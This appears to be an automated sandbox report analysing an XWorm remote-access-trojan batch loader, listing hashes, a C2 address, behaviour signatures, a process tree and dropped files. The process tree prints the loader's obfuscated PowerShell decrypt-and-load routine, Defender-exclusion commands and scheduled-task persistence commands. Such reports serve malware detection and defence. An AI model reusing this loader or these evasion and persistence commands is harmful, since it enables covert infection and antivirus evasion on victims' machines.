Analysis

  • max time kernel
    67s
  • max time network
    79s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    31/10/2024, 01:46

Errors

Reason
Machine shutdown

General

  • Target

    skibidi toilet.bat

  • Size

    385KB

  • MD5

    bd4af530d004a712f796171f4c748bd0

  • SHA1

    22b50637859441a9024bef4c367f4ddb4bc12a9c

  • SHA256

    57e2b4dc37fad695aaf7cd4841e37d66c7a84fe61eefbc1183261b628ac87dbf

  • SHA512

    b7266ca4041ec8c1b9b59b0075d154c6100f8431903701522c51c31cfcece84ccec2623dad9a9a13b266e6d252f7393c27536994ef76c079f5f18bd9e66f126b

  • SSDEEP

    6144:UfSqeucViW45gbfeJxrvJYYVOfpsMRxUQvRRTpFvGHk46g+o:Uz4C3JdngbIMRZfeHF

Malware Config

Extracted

Family

xworm

C2

193.161.193.99:25993

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
      PID:812
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k RPCSS -p
      1⤵
        PID:944
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:996
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:472
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:1044
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1060
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                1⤵
                • Drops file in System32 directory
                PID:1132
                • C:\Users\Admin\AppData\Roaming\System User
                  "C:\Users\Admin\AppData\Roaming\System User"
                  2⤵
                  • Executes dropped EXE
                  PID:2216
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                1⤵
                  PID:1140
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                  1⤵
                    PID:1148
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1204
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                      1⤵
                        PID:1264
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1300
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                          1⤵
                            PID:1416
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                            1⤵
                              PID:1424
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                              1⤵
                                PID:1460
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1524
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1556
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                    1⤵
                                      PID:1700
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k NetworkService -p
                                      1⤵
                                        PID:1736
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1756
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1828
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1976
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:2036
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1160
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                  1⤵
                                                    PID:1972
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:2056
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                      1⤵
                                                        PID:2168
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2240
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                          1⤵
                                                            PID:2376
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2384
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k NetworkService -p
                                                              1⤵
                                                                PID:2420
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                1⤵
                                                                  PID:2460
                                                                • C:\Windows\System32\svchost.exe
                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                  1⤵
                                                                    PID:2540
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                    1⤵
                                                                      PID:2552
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2588
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                        1⤵
                                                                          PID:2640
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                          1⤵
                                                                            PID:3080
                                                                          • C:\Windows\Explorer.EXE
                                                                            C:\Windows\Explorer.EXE
                                                                            1⤵
                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                            PID:3296
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat"
                                                                              2⤵
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:4016
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('om5QDpz+YB720rzQSYX8wId74inmoR6vz07aL7HDKD0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aq3pnaEo9mphTtVuzj3ZHw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TnSRM=New-Object System.IO.MemoryStream(,$param_var); $QPGnf=New-Object System.IO.MemoryStream; $HCoKQ=New-Object System.IO.Compression.GZipStream($TnSRM, [IO.Compression.CompressionMode]::Decompress); $HCoKQ.CopyTo($QPGnf); $HCoKQ.Dispose(); $TnSRM.Dispose(); $QPGnf.Dispose(); $QPGnf.ToArray();}function execute_function($param_var,$param2_var){ $deAso=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EqiGg=$deAso.EntryPoint; $EqiGg.Invoke($null, $param2_var);}$qfQMh = 'C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat';$host.UI.RawUI.WindowTitle = $qfQMh;$UJtTy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qfQMh).Split([Environment]::NewLine);foreach ($rTczV in $UJtTy) { if ($rTczV.StartsWith('KUVjIfwfBwDfXoqrZwfw')) { $XCsJx=$rTczV.Substring(20); break; }}$payloads_var=[string[]]$XCsJx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                3⤵
                                                                                  PID:3340
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                  3⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:244
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_849_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                    4⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3132
                                                                                  • C:\Windows\System32\WScript.exe
                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.vbs"
                                                                                    4⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4928
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.bat" "
                                                                                      5⤵
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:544
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('om5QDpz+YB720rzQSYX8wId74inmoR6vz07aL7HDKD0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aq3pnaEo9mphTtVuzj3ZHw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TnSRM=New-Object System.IO.MemoryStream(,$param_var); $QPGnf=New-Object System.IO.MemoryStream; $HCoKQ=New-Object System.IO.Compression.GZipStream($TnSRM, [IO.Compression.CompressionMode]::Decompress); $HCoKQ.CopyTo($QPGnf); $HCoKQ.Dispose(); $TnSRM.Dispose(); $QPGnf.Dispose(); $QPGnf.ToArray();}function execute_function($param_var,$param2_var){ $deAso=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EqiGg=$deAso.EntryPoint; $EqiGg.Invoke($null, $param2_var);}$qfQMh = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.bat';$host.UI.RawUI.WindowTitle = $qfQMh;$UJtTy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qfQMh).Split([Environment]::NewLine);foreach ($rTczV in $UJtTy) { if ($rTczV.StartsWith('KUVjIfwfBwDfXoqrZwfw')) { $XCsJx=$rTczV.Substring(20); break; }}$payloads_var=[string[]]$XCsJx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                        6⤵
                                                                                          PID:4904
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                          6⤵
                                                                                          • Blocklisted process makes network request
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Drops startup file
                                                                                          • Adds Run key to start application
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:648
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:2300
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:3684
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:4604
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
                                                                                            7⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:4664
                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"
                                                                                            7⤵
                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                            PID:2800
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3416
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                  1⤵
                                                                                    PID:3456
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
                                                                                    1⤵
                                                                                      PID:3912
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
                                                                                      1⤵
                                                                                        PID:4348
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:2476
                                                                                        • C:\Windows\System32\svchost.exe
                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                          1⤵
                                                                                            PID:3664
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                            1⤵
                                                                                              PID:460
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                              1⤵
                                                                                                PID:1624
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                1⤵
                                                                                                  PID:4620
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                  1⤵
                                                                                                    PID:1224

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                          Filesize

                                                                                                          3KB

                                                                                                          MD5

                                                                                                          df472dcddb36aa24247f8c8d8a517bd7

                                                                                                          SHA1

                                                                                                          6f54967355e507294cbc86662a6fbeedac9d7030

                                                                                                          SHA256

                                                                                                          e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

                                                                                                          SHA512

                                                                                                          06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                          Filesize

                                                                                                          62KB

                                                                                                          MD5

                                                                                                          e566632d8956997225be604d026c9b39

                                                                                                          SHA1

                                                                                                          94a9aade75fffc63ed71404b630eca41d3ce130e

                                                                                                          SHA256

                                                                                                          b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

                                                                                                          SHA512

                                                                                                          f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                          Filesize

                                                                                                          1KB

                                                                                                          MD5

                                                                                                          3ec0d76d886b2f4b9f1e3da7ce9e2cd7

                                                                                                          SHA1

                                                                                                          68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

                                                                                                          SHA256

                                                                                                          214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

                                                                                                          SHA512

                                                                                                          a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                          Filesize

                                                                                                          1KB

                                                                                                          MD5

                                                                                                          f65feb0fbbd0fcb9da91d117a38e4f31

                                                                                                          SHA1

                                                                                                          95b1256dd050df6d555a4d06d4dc7ac542b6a070

                                                                                                          SHA256

                                                                                                          cb0bff45abfcccadc000e77840ccf5004ae4197a8d98baab877e6e9c238bba0c

                                                                                                          SHA512

                                                                                                          0715ba19e75a60eeb6cf98f4bc80980f1f1e681bd69d3ce242bf1c50787b82eb99064de0c0753c4259dcc8837a65ac2b7c84b3c1f114200cb252c05e448b1776

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                          Filesize

                                                                                                          944B

                                                                                                          MD5

                                                                                                          bb2e67cbcb7e9d7b2e2c0353c2bf70de

                                                                                                          SHA1

                                                                                                          97042d25c3bc99891404dcbeb0aa671b162cced5

                                                                                                          SHA256

                                                                                                          096767851a7fcb84d0fef3a873d1bfdd5b28bc23c99e07e4246fab1e68033154

                                                                                                          SHA512

                                                                                                          fa143c71e8902c609bd4b89efa828bac7f44687d3d0c9c8cbcdb437033de006b1270e592f56d3494b4e26f42d3f360935b61d20d879d5431492f44d033720667

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                          Filesize

                                                                                                          944B

                                                                                                          MD5

                                                                                                          cef328ddb1ee8916e7a658919323edd8

                                                                                                          SHA1

                                                                                                          a676234d426917535e174f85eabe4ef8b88256a5

                                                                                                          SHA256

                                                                                                          a1b5b7ada8ebc910f20f91ada3991d3321104e9da598c958b1edac9f9aca0e90

                                                                                                          SHA512

                                                                                                          747400c20ca5b5fd1b54bc24e75e6a78f15af61df263be932d2ee7b2f34731c2de8ce03b2706954fb098c1ac36f0b761cf37e418738fa91f2a8ea78572f545cb

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                          Filesize

                                                                                                          944B

                                                                                                          MD5

                                                                                                          4ae54c3a00d1d664f74bfd4f70c85332

                                                                                                          SHA1

                                                                                                          67f3ed7aaea35153326c1f907c0334feef08484c

                                                                                                          SHA256

                                                                                                          1e56a98f74d4a604bef716b47ef730d88f93aec57a98c89aa4423394cbc95b5c

                                                                                                          SHA512

                                                                                                          b3bbdefeaadbdaac00f23ce3389bbd3b565bd7e0079aeebf3e4afba892382e1cd3896c00bb2e5a98146ac593f9bdc5568d0bd08c5b0139f0814b1a38911c3889

                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bhgmhuv.qz0.ps1

                                                                                                          Filesize

                                                                                                          60B

                                                                                                          MD5

                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                          SHA1

                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                          SHA256

                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                          SHA512

                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                        • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.bat

                                                                                                          Filesize

                                                                                                          385KB

                                                                                                          MD5

                                                                                                          bd4af530d004a712f796171f4c748bd0

                                                                                                          SHA1

                                                                                                          22b50637859441a9024bef4c367f4ddb4bc12a9c

                                                                                                          SHA256

                                                                                                          57e2b4dc37fad695aaf7cd4841e37d66c7a84fe61eefbc1183261b628ac87dbf

                                                                                                          SHA512

                                                                                                          b7266ca4041ec8c1b9b59b0075d154c6100f8431903701522c51c31cfcece84ccec2623dad9a9a13b266e6d252f7393c27536994ef76c079f5f18bd9e66f126b

                                                                                                        • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_849.vbs

                                                                                                          Filesize

                                                                                                          124B

                                                                                                          MD5

                                                                                                          41579296f72fb20197512c8fd53e3365

                                                                                                          SHA1

                                                                                                          a6253f242a21c7feb7ceff5b5deb809f0f4ebebd

                                                                                                          SHA256

                                                                                                          8a457627d1132dee7543c212812c9267c98635ca1dacba18f279c5918ff815b5

                                                                                                          SHA512

                                                                                                          93ed4b3ba5cfa45db30cfb02b38985e737fdda641cb089535e893fd1cf29a3e83e69e441890ca72fae2d5fa49a74374851cb747a1202b38c2a39beda55f46550

                                                                                                        • C:\Users\Admin\AppData\Roaming\System User

                                                                                                          Filesize

                                                                                                          440KB

                                                                                                          MD5

                                                                                                          0e9ccd796e251916133392539572a374

                                                                                                          SHA1

                                                                                                          eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

                                                                                                          SHA256

                                                                                                          c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

                                                                                                          SHA512

                                                                                                          e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

                                                                                                        • memory/244-48-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/244-9-0x00000123AEC20000-0x00000123AEC42000-memory.dmp

                                                                                                          Filesize

                                                                                                          136KB

                                                                                                        • memory/244-15-0x00000123AED30000-0x00000123AED7A000-memory.dmp

                                                                                                          Filesize

                                                                                                          296KB

                                                                                                        • memory/244-14-0x00000123AECC0000-0x00000123AECC8000-memory.dmp

                                                                                                          Filesize

                                                                                                          32KB

                                                                                                        • memory/244-13-0x00000123AECE0000-0x00000123AED26000-memory.dmp

                                                                                                          Filesize

                                                                                                          280KB

                                                                                                        • memory/244-12-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/244-47-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/244-10-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/244-11-0x00007FFE1C580000-0x00007FFE1D042000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/244-0-0x00007FFE1C583000-0x00007FFE1C585000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/648-51-0x00000254ED850000-0x00000254ED864000-memory.dmp

                                                                                                          Filesize

                                                                                                          80KB

                                                                                                        • memory/648-194-0x00000254EDDE0000-0x00000254EDDEC000-memory.dmp

                                                                                                          Filesize

                                                                                                          48KB

                                                                                                        • memory/648-209-0x00000254EDC40000-0x00000254EDC4E000-memory.dmp

                                                                                                          Filesize

                                                                                                          56KB

                                                                                                        • memory/944-79-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1132-78-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1140-85-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1148-94-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1160-62-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1300-82-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1524-77-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1556-60-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1700-80-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1736-84-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1756-76-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2056-61-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2476-83-0x00007FFDEC170000-0x00007FFDEC180000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

